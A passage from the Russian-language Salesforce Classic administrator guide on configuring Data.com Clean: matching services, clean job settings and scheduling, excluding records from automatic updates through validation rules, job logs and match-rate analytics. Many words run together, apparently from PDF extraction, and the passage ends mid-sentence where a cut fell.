5. Проверьтеналичиефлажка «Включить задания по очистке» для каждогонужногообъекта. Чтобыочистить записи
компаний D&B при наличии лицензии Data.com Premium Clean, установите флажок «Включить задания по очистке
для объекта "Компании D&B"».

6. Выберите настройки очистки для каждого включенного объекта.

7. Сохраните настройки.

Рекомендации по выбору службы сопоставления организаций
Продукт Data.com Prospector илифункция Data.com Clean позволяет выбирать службу сопоставления, которая должна
использоваться для очистки записей организаций. Прежде чем выбрать нужную службу, просмотрите все доступные
службы, их алгоритмы очистки и связанные рекомендации.
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Рекомендации по выбору настроек заданий по очистке Data.com

Прежде чем определить задания по Data.com Clean, рекомендуем изучить доступные настройки.

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Настройка заданий Data.com Clean

Отслеживание журнала поля для стандартных объектов

Рекомендации по выбору службы сопоставления организаций

Рекомендации по выбору настроек заданий по очистке Data.com

Рекомендации по выбору службы сопоставления организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Продукт Data.com Prospector или функция Data.com Clean позволяет выбирать службу
сопоставления, которая должна использоваться для очистки записей организаций.
Преждечемвыбратьнужнуюслужбу, просмотрите все доступныеслужбы, их алгоритмы
очистки и связанные рекомендации.

Доступны следующие службы сопоставления.

СопоставлениеData.com
Собственная технология сопоставления Data.com, которая сопоставляет поля «Имя
организации», «Адрес для счета», «Веб-сайт» и «Тел.».

СлужбасопоставленияData.comвсегдаиспользуетсяприочисткеданныхорганизаций,
имеющихдействующий Номер D-U-N-S, дажеесливыбранаслужбасопоставления
DUNSRight.

Сопоставление DUNSRight™

Сопоставление DUNSRight — этопатентованнаятехнологияпроверкикачестваданных
от компании D&B, использующая точный процесс стандартизации данных и
сопоставлениязаписейкомпании D&B с записямиорганизацийпользователя. Кроме
того, данный процесс применяет код достоверности D&B, который оценивает
возможные совпаденияData.comнаоснове схожести записейпошкалеот «1» (записи
не похожи) до «10» (записиидентичныилиоченьпохожи). Также D&B поддерживает
уровнисовпадения, отображаемыедляотдельныхполейввидебукв. Дополнительную
информацию об алгоритме сопоставления DUNSRight см. в документе D&B Entity
Matching.

Сопоставление DUNSRight™Сопоставление Data.comАтрибут

Служба сопоставления по умолчанию

Включает код достоверности D&B

Поддержкамеждународногопоиска совпадений1

Поддержка неанглоязычных стран

Требуется сопоставление по умолчанию для
Номера D-U-N-S
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1Сопоставление DUNSRight предоставляет совпадающие записи в количестве стран, которое более чем на 200 превышает
количество стран сопоставления Data.com. Сопоставление DUNSRight не поддерживает следующие страны и регионы:
островаАдмиралтейства, Аландскиеострова, Антарктида, островВознесения, Бонайре, островБуве, Британскаятерритория
Индийскогоокеана, Каролинскиеострова, Кокосовыеострова, Куба, Кюрасао, Французскиеюжные территории, Гернси,
остров Херд и острова Макдональд, остров Мэн, Джерси, Корейская Народно-Демократическая Республика, Майотта,
ФедеративныеШтатыМикронезии, островаМидуэй, Монголия, Ниуэ, Палау, Оккупированнаяпалестинская территория,
Питкерн, Сент-Бартелеми, Синт-Эстатиус иСаба, Сен-Мартен (французская часть), Синт-Мартен (нидерландская часть),
Южная Джорджия, Южные СандвичевыОстрова, Шпицберген и Ян-Майен, Восточный Тимор, Турецкая Республика
Северного Кипра, Малые Тихоокеанские отдаленные острова СоединенныхШтатов, атолл Уэйк, Уоллис и Футуна,
Западная Сахара.

СМ. ТАКЖЕ:

Общие сведения о способах сопоставления записей Salesforce и Data.com

Настройка функции Data.com Clean

Рекомендации по планированию заданий по Data.com Clean

Рекомендации по выбору настроек заданий по очистке Data.com

Настройка заданий Data.com Clean

Определите собственные параметры и выберите службу сопоставления организаций для Data.com Clean

Рекомендации по выбору настроек заданий по очистке Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Прежде чем определить задания по Data.com Clean, рекомендуем изучить доступные
настройки.

• ФункцияочисткиData.com Cleanпозволяетиспользовать заданиядляочисткиданных
тремя способами. А именно:

– «Пометить все различия в записи», чтобы пометить только те поля, значения
которых отличаются от значений Data.com.

– «Пометить различия и автоматически заполнить пустые поля», чтобыпометить
поля с другими значениями и заполнить пустые поля значениями Data.com.

– «Настроить параметры по полям».

• При выборе параметра «Настроить» для любого объекта выполните одно из
перечисленных ниже действий.

– Присвоениепометокполямсобственных записей Salesforce, значения которыхотличаютсяот совпавших записей
Data.com.

– ПрисвоениепометокзначениямотличающихсяполейсобственныхзаписейSalesforceиавтоматическоезаполнение
пустых полей значениями Data.com.

– Перезапись значенийотличающихсяполейсобственныхзаписей Salesforce значениямиData.com. Приперезаписи
значений записей Salesforce рекомендуем настроить функцию отслеживания журнала для данных полей.

• Первые две настройки могут быть заданы для всех записей или отдельных полей. Последняя настройка может быть
задана только для отдельных полей.

• При использовании продукта Data.com Premium Clean пользователи могут также очищать записи компаний D&B,
связанные с организациями и интересами. Задания по очистке компаний D&B автоматически заполняют или
перезаписывают значения полей в записях компаний D&B, но не меняют данные в связанных записях организаций
или интересов.
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• Заданныенастройкивступаютвсилуприследующемвыполнениизапланированногозаданияпоочистке, апомеченные
различия отображаются при очистке записей вручную.

• Чтобывыполнитьразовоеповторноесопоставлениепосредствомновойслужбысопоставления, рекомендуемвручную
удалить Номер D-U-N-S из записей организаций. Помните, что данное действие может повлиять на уровни
совпадения.

• Соотнесение настраиваемого поля или пропуск соотнесения являются нерекомендованными действиями при
использовании любой службы сопоставления:

• Преобразованные интересы исключаются из заданий по очистке интересов.

• Еслипользовательпомечаетполе, которое должнобытьперезаписано заданиямипоочистке, как «неверное» в записи,
то данное поле не будет обработано в данной записи.

• Организации-лица исключаются из заданий по очистке организаций и контактов.

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Настройка заданий Data.com Clean

Определите собственные параметры и выберите службу сопоставления организаций для Data.com Clean

Рекомендации по выбору службы сопоставления организаций

Присвоение значению поля организации, контакта или интереса пометки «неверное» или «верное» в Data.com

Настройка заданий Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПриналичиилицензииData.com Cleanимеется возможностьнастроить автоматические
задания для очистки записей.

Рекомендации по планированию заданий по Data.com Clean

Преждечемиспользоватьзаданиядляавтоматическойочисткизаписей, просмотрите
рекомендации ниже.

Планирование заданий по очистке Data.com

Чтобы регулярно обновлять статус очистки записей, запланируйте автоматические
задания по сравнению собственных записей с Data.com. Задания доступны
организациям только при наличии лицензии на функцию Data.com Clean.

Расписаниеполнойсинхронизациизаписейорганизаций Salesforce сиспользованием
Data.com Clean

Служба сопоставления DUNSRight™ поддерживает планирование полной синхронизации записей организаций и
записей Data.com привыполненииследующихзаданийпоочисткеорганизаций. Полная синхронизациясопоставляет
все записи организаций с записями Data.com и позволяет находить совпадения, которые не были найдены при
выполнении предыдущих заданий.

Отмена обновления записей при выполнении заданий Data.com Clean

Пользователи могут предотвратить заполнение полей отдельных организаций, контактов или интересов данными
Data.com при выполнении автоматических заданий по очистке.

Проверка журнала заданий по очистке Data.com Clean

Таблица «ЖурналзаданийпоData.com Clean» позволяетпросматриватьтекущиезаданияиоткрыватьжурналыошибок.

1907

Настройка функции Data.com CleanНастройка и обслуживание инструментов продаж



Рекомендации по планированию заданий по Data.com Clean

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Прежде чем использовать задания для автоматической очистки записей, просмотрите
рекомендации ниже.

Важное замечание: При настройке триггеров, которые должны выполняться при
обновлении записей организаций, контактов или интересов, запросы SOQL,
выполняемые триггерами, могут препятствовать выполнениюзаданийдля данных
объектов. Триггеры Apex (в совокупности) не могут превышать 200 запросов SOQL
на пакет. В противном случае, задание для данного объекта не будет выполнено.
Кроме того, триггеры, являющиесяметодами @future, ограничиваются 10 вызовами
@future на пакет.

• ЗаданиядоступныорганизациямтолькоприналичиилицензиинафункциюData.com
Clean.

• Задания должны быть запланированы как минимум на один день недели.

• Задания обрабатывают только записи включенных объектов.

• При полной синхронизации очищаются все записи, независимо от их статуса очистки. При добавочной синхронизации
очищаются только записи со статусом очистки «Не сравнивалось».

• Выполняемая полная синхронизация выполняется взамен добавочной.

• Полная синхронизация, запланированная для выполнения, выполняется даже при отсутствии измененных записей.

• Продолжительностьмеждузаданиямиопределяетсяповременизавершенияпредыдущегозаданияиначаласледующего
задания.

• Заданиядобавляютсявочередьвсоответствииспараметрамипланированияивыполняютсяотдельнодляорганизаций,
контактов и интересов. При использованиифункции Data.com Social Key задания также выполняют процесс поиска
и связывания двойных указателей для контактов и интересов.

• Время, необходимое для выполнения задания, определяется несколькимифакторами, включая выбранную службу
сопоставления (для заданийпоочисткеорганизаций), количествоочищаемых записейиобщуюпроизводительность
системы Salesforce. ПрииспользованиисопоставленияData.com заданиямогут очищать за день 3 000 000 записей. При
использовании сопоставления DUNSRight™ задания могут очищать за день 750 000 записей.

• Задания, запланированные в безопасной среде, действительны в течение 30 дней.

• Рекомендуем заполнять поля «Страна» и «Область/штат» допустимыми значениями.

• Задания не обрабатывают записи организаций-лиц.

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Настройка заданий Data.com Clean

Рекомендации по выбору службы сопоставления организаций
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Планирование заданий по очистке Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования заданий
по очистке Data.com и
просмотражурнала заданий:
• «Настройка

приложения»

Чтобы регулярно обновлять статус очистки записей, запланируйте автоматические
заданияпосравнениюсобственныхзаписейсData.com. Заданиядоступныорганизациям
только при наличии лицензии на функцию Data.com Clean.

1. Перед планированием заданий просмотрите рекомендации.

2. Введите строку «Задания» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Задания» в разделе «Очистка».

3. Выберите нужные дни недели.

4. Выберите предпочтительное время начала.

Прим.: Заданиявыполняютсяпоотдельности, поэтомуих точноевремяначала
может изменяться.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Настройка заданий Data.com Clean

Рекомендации по планированию заданий по Data.com Clean

Проверка журнала заданий по очистке Data.com Clean

Расписание полной синхронизации записей организаций Salesforce с использованием Data.com
Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования заданий
по очистке Data.com и
просмотражурнала заданий:
• «Настройка

приложения»

Службасопоставления DUNSRight™поддерживаетпланированиеполнойсинхронизации
записей организаций и записей Data.com при выполнении следующих заданий по
очистке организаций. Полная синхронизация сопоставляет все записи организаций с
записями Data.com и позволяет находить совпадения, которые не были найдены при
выполнении предыдущих заданий.

Выполнение запрошенной полной синхронизации инициирует отключение
соответствующегопараметра. Системапозволяетповторновключать данныйпараметр
и планировать другую полную синхронизацию каждые 30 дней. Уведомления о
выполнении полной синхронизации или времени, прошедшем после выполнения
последней полной синхронизации, отображаются автоматически.

1. Введитестроку «Задания» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Задания» в разделе Data.com.

2. Чтобы включить полную синхронизацию, нажмите кнопку «Вкл.» напротив
параметра «Полная синхронизация при выполнении следующего задания».
Кнопка «Выкл.» активируется после запуска запрошеннойполной синхронизации.

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Настройка заданий Data.com Clean
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Отмена обновления записей при выполнении заданий Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Пользователимогутпредотвратитьзаполнениеполейотдельныхорганизаций, контактов
илиинтересов даннымиData.comпривыполненииавтоматических заданийпоочистке.

Использование статуса очистки «Пропущено» для предотвращения обновления
записей заданиями по Data.com Clean

Воспользуйтесь настройкой «Пропущенные записи» задания по Data.com Clean,
препятствующей обновлению записей, поле «Статус очистки» которых содержит
значение «Пропущено». Рекомендуем использовать данный метод во избежание
обновления записей при выполнении заданий.

Использованиенастраиваемыхполейиправилпроверкидляотключенияобновления
записей при выполнении заданий Data.com Clean

Используйтенастраиваемоеполе, чтобыуказать записи, которыененужнообновлять
автоматически. Затем создайте правило проверки, которое указывает заданиям на пропуск этих записей.

СМ. ТАКЖЕ:

Настройка заданий Data.com Clean

Настройка функции Data.com Clean

Можно ли предотвратить автоматическое обновление записей заданиями по Data.com Clean?

Использование статуса очистки «Пропущено» для предотвращения обновления записей заданиями по
Data.com Clean

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выбора настроек
заданий:
• «Настройка

приложения»

Для создания классов и
триггеров Apex:
• «Автор Apex»

Воспользуйтесь настройкой «Пропущенные записи» задания по Data.com Clean,
препятствующей обновлению записей, поле «Статус очистки» которых содержит
значение «Пропущено». Рекомендуем использовать данный метод во избежание
обновления записей при выполнении заданий.

1. Введите строку «Настройки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Настройки» в разделе «Очистка».

2. Выберите настройку «Пропущенные записи» в разделе «Настройки пропуска
заданий».

3. Сохраните настройки.

4. Задайте полю «Статус очистки» нужных записей значение «Пропущено».

Совет: При необходимости воспользуйтесь интерфейсом Salesforce API,
приложением Data Loader или триггером Apex для изменения значения поля
«Статус очистки» нескольких записей.

5. Чтобы препятствовать изменениюполя «Статус очистки» для записей со статусом
«Пропущено» при обновлении записей, создайте триггер Apex.
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При обновлении записи триггер задает полю «Статус очистки» значение «Пропущено». Таким образом, запись не
обновляется при выполнении заданий.

СМ. ТАКЖЕ:

Использование настраиваемых полей и правил проверки для отключения обновления записей при выполнении
заданий Data.com Clean

Использование настраиваемых полей и правил проверки для отключения обновления записей при
выполнении заданий Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Для определения или
изменения правил проверки
полей:
• «Настройка

приложения»

Для просмотра правил
проверки полей:
• «Просмотр настройки и

конфигурации»

Используйте настраиваемое поле, чтобы указать записи, которые не нужно обновлять
автоматически. Затемсоздайтеправилопроверки, котороеуказывает заданиямнапропуск
этих записей.

Важное замечание: При создании правила проверки для предотвращения
автоматических обновлений воспользуйтесь рекомендацией ниже.

Правилопроверки генерирует записии связанные сообщения вжурналах заданий
по очистке Data.com, однако задания могут также генерировать другие записи и
ошибки, поэтому рекомендуем внимательно просматривать журналы заданий.

1. Создайте настраиваемое поле для каждого объекта, содержащего записи, которые
не должны обновляться автоматически.
Ниже приведен пример определения настраиваемого поля.

Значение или выборПоле

ФлажокТип поля

Отсутствует автоматическое обновление
Data.com

Метка поля

Флажок снятЗначение по умолчанию

Предотвращает автоматическое заполнение
полей соответствующими данными из
записей Data.com во время выполнения
заданий автоматической очистки.

Описание

Исключить эту запись из автоматического
обновления полей в заданиях очистки
Data.com Clean

Текст справки

2. Чтобы заблокировать автоматическое обновление записей с установленнымфлажком «Data.com Does Not
Auto-Update»(Отсутствует автоматическое обновление Data.com)  (или с другим именем соответствующего
настраиваемого поля), создайте правило проверки.

Ниже приведен пример определения правила проверки для каждого объекта.
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Значение или выборПоле

Block_autoupdate_from_Data_comИмя правила

Защита на уровне записи от автоматического обновления
значений полей при выполнении задач автоматической
очистки.

Описание

(API-ИМЯ НАСТРАИВАЕМОГО ПОЛЯ ) &&

($User.Alias = "autocln") && (ISCHANGED(

Формула ошибочного условия  (для организаций)

DunsNumber ) || ISCHANGED(
NumberOfEmployees ) || ISCHANGED(
AnnualRevenue ) || ISCHANGED( TickerSymbol
) || ISCHANGED( Website ) || ISCHANGED(
Industry ) || ISCHANGED( Ownership ) ||
ISCHANGED( BillingCity ) || ISCHANGED(
BillingCountry ) || ISCHANGED(
BillingState ) || ISCHANGED( BillingStreet
) || ISCHANGED( BillingPostalCode ) ||
ISCHANGED( Phone ) || ISCHANGED( Fax ) ||
ISCHANGED( Site ) || ISCHANGED( Tradestyle
) || ISCHANGED( YearStarted ) ||
ISCHANGED( Sic ) || ISCHANGED( SicDesc )
|| ISCHANGED( NaicsCode ) || ISCHANGED(
NaicsDesc ) || ISCHANGED( Description )
)

(API-ИМЯ НАСТРАИВАЕМОГО ПОЛЯ ) &&

($User.Alias = "autocln") && (ISCHANGED(

Формула ошибочного условия  (для контактов)

Title ) || ISCHANGED( Email ) ||
ISCHANGED( Phone ) || ISCHANGED(
MailingStreet ) || ISCHANGED( MailingCity
) || ISCHANGED( MailingState ) ||
ISCHANGED( MailingCountry ) || ISCHANGED(
MailingPostalCode ) )

(API-ИМЯ НАСТРАИВАЕМОГО ПОЛЯ ) &&

($User.Alias = "autocln") && (ISCHANGED(

Формула ошибочного условия  (для интересов)

Company ) || ISCHANGED( Title ) ||
ISCHANGED( Email ) || ISCHANGED( Phone
) || ISCHANGED( Street ) || ISCHANGED(
City ) || ISCHANGED( State ) ||
ISCHANGED( PostalCode ) || ISCHANGED(
Country ) || ISCHANGED(
NumberOfEmployees ) || ISCHANGED(
AnnualRevenue ) || ISCHANGED( Industry
) || ISCHANGED( CompanyDunsNumber ) )

Эта запись исключена из автоматического обновления полей
при выполнении заданий Data.com Clean.

Сообщение об ошибке
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3. Откройте все записи, которыедолжныбытьнедоступныдля автоматическогообновления, иустановитефлажок «Do
Not Auto-Update»  (или с другим именем соответствующего настраиваемого поля).
При выполнении автоматических заданий журнал заданий отображает следующее сообщение для каждой
необновленной записи: “Эта запись исключена из автоматического обновления полей при выполнении заданий
очистки Data.com Clean.”

Совет: Чтобы установить данныйфлажок для нескольких записей, воспользуйтесь приложением Data Loader
или настраиваемым триггером.

СМ. ТАКЖЕ:

Создание настраиваемых полей

Определить правила оценки

Использованиестатусаочистки «Пропущено» дляпредотвращенияобновления записейзаданиямипо Data.com Clean

Проверка журнала заданий по очистке Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования заданий
по очистке Data.com и
просмотражурнала заданий:
• «Настройка

приложения»

Таблица «Журнал заданийпоData.com Clean» позволяетпросматривать текущие задания
и открывать журналы ошибок.

Важное замечание: Еслиправилопроверки «Do Not Auto-Update» используетсядля
предотвращения автоматического обновления выбранных записей заданиями по
Data.com Clean, просмотрите возможные последствия для журналов заданий по
очистке. Данное правило создает записи и связанные сообщения в журналах
заданий, однако задания могут также генерировать другие записи и ошибки.
Рекомендуем просматривать журналы заданий особенно внимательно. Правило
проверки доступно в пакете AppExchange «Отчеты Data.com».

1. Введитестроку «Задания» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Задания».

2. Просмотрите сведения о задании в разделе «Журнал заданий по очистке».

3. Чтобыпросмотреть ошибки, обнаруженные во время обработки записей, щелкните
ссылку в соответствующем столбце («Ошибки пакета» или «Ошибки объекта»)
для загрузки CSV-файла журнала заданий.

Журналы заданий хранятся в течение 21 дня.

Ниже перечислены определения для столбцов таблицы.

ОпределениеЗаголовок столбца

Дата выполнения задания.Дата

Время добавления задания в очередь.
Задания выполняются по отдельности,

Время отправки

поэтому данное время может не
соответствовать фактическому времени
отправки.
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ОпределениеЗаголовок столбца

Тип задания: для организаций, компаний D&B, контактов
или интересов.

Система поддерживает разные типы заданий для
организаций.

Тип задания

«Организация (сопоставление Data.com)»: записи
организаций сопоставлены службой сопоставления
Data.com.

«Организация (сопоставление DUNSRight)»: записи
организаций сопоставлены службой сопоставления
DUNSRight.

«Организация (поиск по номеру D-U-N-S)»: записи
организаций повторно сопоставлены (или найдены)
посредствомполя «Номер D-U-N-S»  (при егоналичии).

Статус задания:

«В очереди»: заданиедобавленовочередьна выполнение.
Для заданийс такимстатусомв столбце «Время отправки»
отображается тире (–).

Статус задания

«Подготовка»: задание подготавливается к выполнению.

«Обработка»: задание обрабатывается.

«Завершено»: задание выполнено (с или без ошибок).

«Ошибка»: не удалось выполнить задание.

«Прервано»: выполнение задания прервано.

Общее количество записей Salesforce, обработанных
заданием.

Записи

ОбщееколичествозаписейSalesforce, совпавшихсзаписями
Data.com.

Совпало

Общее количество записей Salesforce, не совпавших с
записями Data.com.

Не совпало

Количество записей Salesforce, помеченных статусом
«Неактивно» в Data.com.

Неактивно

Общееколичествоошибокпакета, обнаруженныхвовремя
выполнения задания. Тиреуказываетнаотсутствиеошибок

Ошибки пакета

или данных. Чтобы загрузить и просмотреть CSV-файл
журнала ошибок пакета, щелкните соответствующую
ссылку.

Общее количество ошибок объекта, обнаруженных во
время выполнения задания. Тире указывает на отсутствие

Ошибки объекта

ошибок или данных. Чтобы загрузить и просмотреть
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ОпределениеЗаголовок столбца

CSV-файл журнала ошибок объекта, щелкните
соответствующую ссылку. Данный журнал содержит
пояснение любой ошибки объекта, вызванной ошибкой
сохранения записи (например, по причине сбоя правила
проверки). Обычноошибкиобъектавозникаютврезультате
сбоев правил проверки или нарушений обязательных
полей. Пояснение отображается только при его наличии.

Уникальныйкодзаписи, приобработкекоторойпроизошла
ошибка. Чтобы открыть запись, дополните URL-адрес
экземпляра Salesforce 15-значный кодом. Например:
https://na1.salesforce.com/0013000000hKBTq.

СМ. ТАКЖЕ:

Настройка функции Data.com Clean

Настройка заданий Data.com Clean

1915

Настройка функции Data.com CleanНастройка и обслуживание инструментов продаж



Проверка триггеров и бизнес-правил на совместимость с функцией очистки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения функции
Data.com Clean:
• «Настройка

приложения»

Для внедрения Data.com
Prospector:
• «Настройка

приложения»

Для определения триггеров:
• «Автор Apex»

Для определения
бизнес-правил:
• «Настройка

приложения»

Если организация использует триггеры или бизнес-правила для объектов,
поддерживающихфункцию очистки («Организация», «Контакт», «Интерес» или
«Компания D&B»), то триггеры и бизнес-правила должны быть проверены на предмет
внесения поправок или отмены их выполнения во избежание непредвиденных
результатов при очистке записей.

1. При использовании триггеров для любого объекта, очищенного вручную или
заданиямиочистки, внастройкахуправленияобъектомперейдитевраздел «Триггеры».

2. Во избежание непредвиденных результатов при очистке записей, откройте и
просмотрите каждыйтриггер. Приналичии 1-2 проблемныхтриггероврекомендуем
изменитьданныетриггерывручную. Приналичиибольшегоколичествапроблемных
триггеров и использовании заданий по очистке рекомендуем пропустить данные
триггерыпривыполнениизаданий. Данныйпараметрможетбытьвыбраннастранице
«Настройкиочистки»: Введите строку «Настройки» вполе «Быстрый поиск» вменю
«Настройка», затем выберите пункт «Настройки» в разделе «Очистка».

3. Еслииспользуютсябизнес-правила, введитестроку «Бизнес-правила» вполе «Быстрый
поиск» в меню «Настройка», затем выберите пункт «Бизнес-правила».

4. Во избежание непредвиденных результатов при очистке записей, откройте и
просмотрите каждое бизнес-правило. Приналичии 1-2 проблемных бизнес-правил
рекомендуемизменитьданныеправилавручную. Приналичиибольшегоколичества
проблемныхправил и использовании заданийпо очистке рекомендуемпропустить
данные бизнес-правила при выполнении заданий. Данный параметр может быть
выбран на странице «Настройки очистки». Данныйпараметр может быть выбран на
странице «Настройки очистки»: Введите строку «Настройки» в поле «Быстрый
поиск» вменю «Настройка», затемвыберитепункт«Настройки»вразделе «Очистка».

5. После следующего выполнения задания по очистке просмотрите результаты по
записямсоответствующегообъектадлявсехиспользуемыхтриггеровибизнес-правил.

Пример: организацияиспользует триггер, которыйсоздаетиназначает задачупри
каждом обновлении записи интереса. Если организация очищает интересы
посредством заданий по очистке, то количество задач может значительно
превышать ожидаемые результаты. Чтобы создавать и назначать задачи только в
томслучае, если записи редактируютсявручнуюили очищаютсяпользователямиSalesforce,
рекомендуемизменить триггер. Поле «Последнее изменение сделано» позволяет
определитьисточникпоследнегообновлениязаписи. Значение Data.com Clean
отображается для записей, обновленных заданиями по очистке; имя и фамилия
отображаются для записей, обновленных пользователями.
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Настройка списковых представлений для функции Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
списковых представлений:
• «Чтение» для типа

записи, добавленного в
список

Для создания,
редактирования и удаления
общедоступных списковых
представлений:
• «Управление

общедоступными
списковыми
представлениями»

Прежде чем разрешить пользователям функции Data.com Clean очистку записей из
списка, рекомендуем добавить поле «Статус очистки» в списковые представления
организации.

1. Откройтевкладку («Организации», «Контакты» или «Интересы») длянужногообъекта.

Прим.: Записиорганизаций, очищаемыепосредствомсопоставления DUNSRight,
не поддерживают очистку из спискового представления.

2. Выберите нужное представление из раскрывающегося списка и щелкните ссылку
«Правка».

3. Найдитеполе «Статус очистки» в списке «Доступныеполя» идобавьте его в список
«Выбранные поля».
Кнопка «Очистить» автоматически добавляется в списковое представление.

4. При использованиифункции Data.com Social Key добавьте поля для включенных
социальных сетей (LinkedIn®, Twitter или Facebook) в списковые представления
контактов.

Полясоциальныхсетейнеподдерживаютсясписковымипредставлениямиинтересов.

СМ. ТАКЖЕ:

Создание настраиваемых списковых представлений в Salesforce Classic

Настройка функции Data.com Clean
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Определение степени очистки организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения функции
очистки Data.com:
• «Настройка

приложения»

При использованиифункцииData.com Cleanможно проверить «Статус очистки» всех
организаций с помощью простого отчета «Организации по статусу очистки».

Важное замечание: Если собственные записи и записи Data.com сопоставлены
неверно, тщательно подумайте перед установкойфлажка «Пометить различия и
автоматически заполнить пустые поля записи». Принеправильномсопоставлении
большого количества записей рекомендуем обратиться в службу поддержки
Salesforce.

1. Откройтевкладку «Панелимониторинга» ивыберите «АналитикаData.com». Запустите
отчет «Организации по статусу очистки».
Если задания по очистке выполнены правильно, то организации группируются по
значениям статуса очистки.

2. Найдителюбые записи Salesforce со статусомочистки «Отличается» вотчете. Чтобы
просмотреть найденные различия, откройте некоторые записи и щелкните
«Очистить».

3. Повторите процесс сравнения для записей со статусом очистки «Не найдено».

СМ. ТАКЖЕ:

Общие сведения о способах сопоставления записей Salesforce и Data.com

Статусы очистки Data.com Clean

1918

Настройка функции Data.com CleanНастройка и обслуживание инструментов продаж



Определение эффективности работы функции Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра уровней
совпаденияData.com Clean:
• «Настройка

приложения»

Страница «Аналитика и показатели Data.com Clean» содержит подробные сведения о
сопоставлении и обновлении организаций, контактов и интересов данными Data.com.
Рекомендуем регулярно проверять уровни совпадения и обновления записей.

1. Введите строку «Показатели» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Аналитика и показатели» в разделе «Очистка».

2. Чтобы определить время выполнения последних вычислений, просмотрите поле
«Последнее вычисление», расположенное над таблицей.

Прим.: Табличные данные вычисляются ежедневно; обратите внимание, что
время и даты сохраняются по Гринвичу, поэтому отображаемая дата может
отличаться от даты фактических вычислений, если организация использует
временныекорректировки. Помните, чтоданныевычисляютсяодинраз в день,
поэтому могут отличаться от данных, доступных на панелях мониторинга и в
отчетах Data.com.

3. Просмотрите сведения в разделе «Уровни совпадения и обновления».

Данныеохватываютзаписи, сопоставленныеиобновленныепослевнедренияData.com
в организации. Ниже перечислены определения для столбцов таблицы.

ОпределениеСтолбец

Объект, поддерживающийфункцию
Data.com Clean: организации, контакты
или интересы.

Записи

Прим.: Если организация
